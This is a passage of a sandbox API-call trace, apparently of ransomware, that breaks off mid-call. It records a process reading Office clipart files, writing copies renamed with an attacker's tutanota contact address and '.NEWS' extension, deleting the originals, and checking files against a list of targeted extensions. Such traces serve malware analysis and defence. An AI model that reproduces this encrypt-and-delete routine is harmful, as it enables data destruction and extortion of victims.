[0248.198] ReadFile (in: hFile=0x1cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0248.291] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0248.295] ReadFile (in: hFile=0x1cc, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.295] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.296] SetEndOfFile (hFile=0x3c0) returned 1 [0248.296] CloseHandle (hObject=0x3c0) returned 1 [0248.296] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.297] SetEndOfFile (hFile=0x1cc) returned 1 [0248.322] CloseHandle (hObject=0x1cc) returned 1 [0248.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0248.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.325] lstrlenW (lpString=".doc") returned 4 [0248.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.325] lstrlenW (lpString=".docx") returned 5 [0248.325] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.325] lstrlenW (lpString=".pdf") returned 4 [0248.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.325] lstrlenW (lpString=".xls") returned 4 [0248.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.325] lstrlenW (lpString=".xlsx") returned 5 [0248.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.326] lstrlenW (lpString=".ppt") returned 4 [0248.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.326] lstrlenW (lpString=".zip") returned 4 [0248.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.326] lstrlenW (lpString=".rar") returned 4 [0248.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.326] lstrlenW (lpString=".bz2") returned 4 [0248.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.326] lstrlenW (lpString=".7z") returned 3 [0248.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.326] lstrlenW (lpString=".dbf") returned 4 [0248.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.327] lstrlenW (lpString=".1cd") returned 4 [0248.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.327] lstrlenW (lpString=".jpg") returned 4 [0248.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.327] lstrlenW (lpString=".doc") returned 4 [0248.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.328] lstrlenW (lpString=".docx") returned 5 [0248.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.328] lstrlenW (lpString=".pdf") returned 4 [0248.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.328] lstrlenW (lpString=".xls") returned 4 [0248.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.328] lstrlenW (lpString=".xlsx") returned 5 [0248.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.328] lstrlenW (lpString=".ppt") returned 4 [0248.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.328] lstrlenW (lpString=".zip") returned 4 [0248.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.329] lstrlenW (lpString=".rar") returned 4 [0248.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.666] lstrlenW (lpString=".bz2") returned 4 [0248.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.666] lstrlenW (lpString=".7z") returned 3 [0248.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.666] lstrlenW (lpString=".dbf") returned 4 [0248.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.667] lstrlenW (lpString=".1cd") returned 4 [0248.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0248.667] lstrlenW (lpString=".jpg") returned 4 [0248.667] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.667] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0248.668] lstrlenW (lpString="BD19695_.WMF") returned 12 [0248.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.309] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=12982) returned 1 [0252.310] CloseHandle (hObject=0x3c0) returned 1 [0252.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 0x20 [0252.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0252.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.312] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.312] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0252.313] GetLastError () returned 0x0 [0252.313] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x32b6, lpOverlapped=0x0) returned 1 [0252.321] WriteFile (in: hFile=0x304, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0252.325] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.325] WriteFile (in: hFile=0x304, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.326] SetEndOfFile (hFile=0x304) returned 1 [0252.326] CloseHandle (hObject=0x304) returned 1 [0252.327] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.327] SetEndOfFile (hFile=0x3c0) returned 1 [0252.336] CloseHandle (hObject=0x3c0) returned 1 [0252.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0252.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0252.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.340] lstrlenW (lpString=".doc") returned 4 [0252.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.341] lstrlenW (lpString=".docx") returned 5 [0252.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.341] lstrlenW (lpString=".pdf") returned 4 [0252.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.341] lstrlenW (lpString=".xls") returned 4 [0252.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.341] lstrlenW (lpString=".xlsx") returned 5 [0252.342] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.342] lstrlenW (lpString=".ppt") returned 4 [0252.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.342] lstrlenW (lpString=".zip") returned 4 [0252.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.342] lstrlenW (lpString=".rar") returned 4 [0252.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.342] lstrlenW (lpString=".bz2") returned 4 [0252.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.343] lstrlenW (lpString=".7z") returned 3 [0252.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.343] lstrlenW (lpString=".dbf") returned 4 [0252.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.343] lstrlenW (lpString=".1cd") returned 4 [0252.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.343] lstrlenW (lpString=".jpg") returned 4 [0252.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.344] lstrlenW (lpString=".doc") returned 4 [0252.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.344] lstrlenW (lpString=".docx") returned 5 [0252.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.344] lstrlenW (lpString=".pdf") returned 4 [0252.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.344] lstrlenW (lpString=".xls") returned 4 [0252.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.345] lstrlenW (lpString=".xlsx") returned 5 [0252.345] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.345] lstrlenW (lpString=".ppt") returned 4 [0252.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.345] lstrlenW (lpString=".zip") returned 4 [0252.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.345] lstrlenW (lpString=".rar") returned 4 [0252.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.345] lstrlenW (lpString=".bz2") returned 4 [0252.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.346] lstrlenW (lpString=".7z") returned 3 [0252.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.346] lstrlenW (lpString=".dbf") returned 4 [0252.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.346] lstrlenW (lpString=".1cd") returned 4 [0252.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0252.346] lstrlenW (lpString=".jpg") returned 4 [0252.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.347] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0252.347] lstrlenW (lpString="BD19828_.WMF") returned 12 [0252.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0252.771] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=8772) returned 1 [0252.771] CloseHandle (hObject=0x388) returned 1 [0252.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0252.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0252.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0252.856] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.856] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0252.857] GetLastError () returned 0x0 [0252.857] ReadFile (in: hFile=0x304, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x2244, lpOverlapped=0x0) returned 1 [0252.894] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0252.898] ReadFile (in: hFile=0x304, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.898] WriteFile (in: hFile=0x1f0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.898] SetEndOfFile (hFile=0x1f0) returned 1 [0252.899] CloseHandle (hObject=0x1f0) returned 1 [0252.899] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.899] SetEndOfFile (hFile=0x304) returned 1 [0252.909] CloseHandle (hObject=0x304) returned 1 [0252.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0253.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0253.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.089] lstrlenW (lpString=".doc") returned 4 [0253.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.089] lstrlenW (lpString=".docx") returned 5 [0253.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.089] lstrlenW (lpString=".pdf") returned 4 [0253.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.090] lstrlenW (lpString=".xls") returned 4 [0253.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.090] lstrlenW (lpString=".xlsx") returned 5 [0253.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.090] lstrlenW (lpString=".ppt") returned 4 [0253.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.090] lstrlenW (lpString=".zip") returned 4 [0253.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.090] lstrlenW (lpString=".rar") returned 4 [0253.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.091] lstrlenW (lpString=".bz2") returned 4 [0253.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.091] lstrlenW (lpString=".7z") returned 3 [0253.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.093] lstrlenW (lpString=".dbf") returned 4 [0253.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.093] lstrlenW (lpString=".1cd") returned 4 [0253.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.093] lstrlenW (lpString=".jpg") returned 4 [0253.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.094] lstrlenW (lpString=".doc") returned 4 [0253.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.094] lstrlenW (lpString=".docx") returned 5 [0253.094] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.094] lstrlenW (lpString=".pdf") returned 4 [0253.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.094] lstrlenW (lpString=".xls") returned 4 [0253.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.094] lstrlenW (lpString=".xlsx") returned 5 [0253.094] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.095] lstrlenW (lpString=".ppt") returned 4 [0253.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.095] lstrlenW (lpString=".zip") returned 4 [0253.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.095] lstrlenW (lpString=".rar") returned 4 [0253.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.095] lstrlenW (lpString=".bz2") returned 4 [0253.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.095] lstrlenW (lpString=".7z") returned 3 [0253.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.096] lstrlenW (lpString=".dbf") returned 4 [0253.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.096] lstrlenW (lpString=".1cd") returned 4 [0253.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0253.096] lstrlenW (lpString=".jpg") returned 4 [0253.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.097] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0253.097] lstrlenW (lpString="BD19988_.WMF") returned 12 [0253.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0253.098] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=18304) returned 1 [0253.098] CloseHandle (hObject=0x15c) returned 1 [0253.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0253.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0253.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0253.099] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.099] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.100] GetLastError () returned 0x0 [0253.100] ReadFile (in: hFile=0x15c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x4780, lpOverlapped=0x0) returned 1 [0253.196] WriteFile (in: hFile=0x324, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x4790, lpOverlapped=0x0) returned 1 [0253.202] ReadFile (in: hFile=0x15c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: 